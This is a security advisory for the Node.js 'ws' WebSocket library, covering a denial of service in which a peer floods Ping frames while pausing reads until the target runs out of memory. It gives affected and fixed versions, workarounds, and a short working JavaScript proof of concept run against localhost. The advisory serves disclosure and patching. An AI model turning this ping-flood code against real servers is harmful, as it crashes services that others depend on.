Vulnerability GHSA-37g9-w4hg-h9qr

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
17 hours ago
December 01, 2026 at 06:12 PM UTC
ws: Memory exhaustion DoS via unbounded automatic pong responses
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2

Summary

ws: Memory exhaustion DoS via unbounded automatic pong responses

Details

Impact

A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in [email protected] ( https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to [email protected] ( https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), [email protected] ( https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and [email protected] ( https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).

Workarounds

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the autoPong option to false, if available.

Credits

The vulnerability was responsibly disclosed by multiple reporters:

Impacted packages

Timeline

Published
17 hours ago
December 01, 2026 at 06:12 PM UTC
Fixed (6.2.7)
19 days ago
November 12, 2026 at 09:38 PM UTC
Fixed (5.2.8)
19 days ago
November 12, 2026 at 09:38 PM UTC
Fixed (8.23.0)
19 days ago
November 12, 2026 at 09:39 PM UTC
Fixed (7.5.14)
19 days ago
November 12, 2026 at 09:39 PM UTC
Last Modified
16 hours ago
December 01, 2026 at 06:30 PM UTC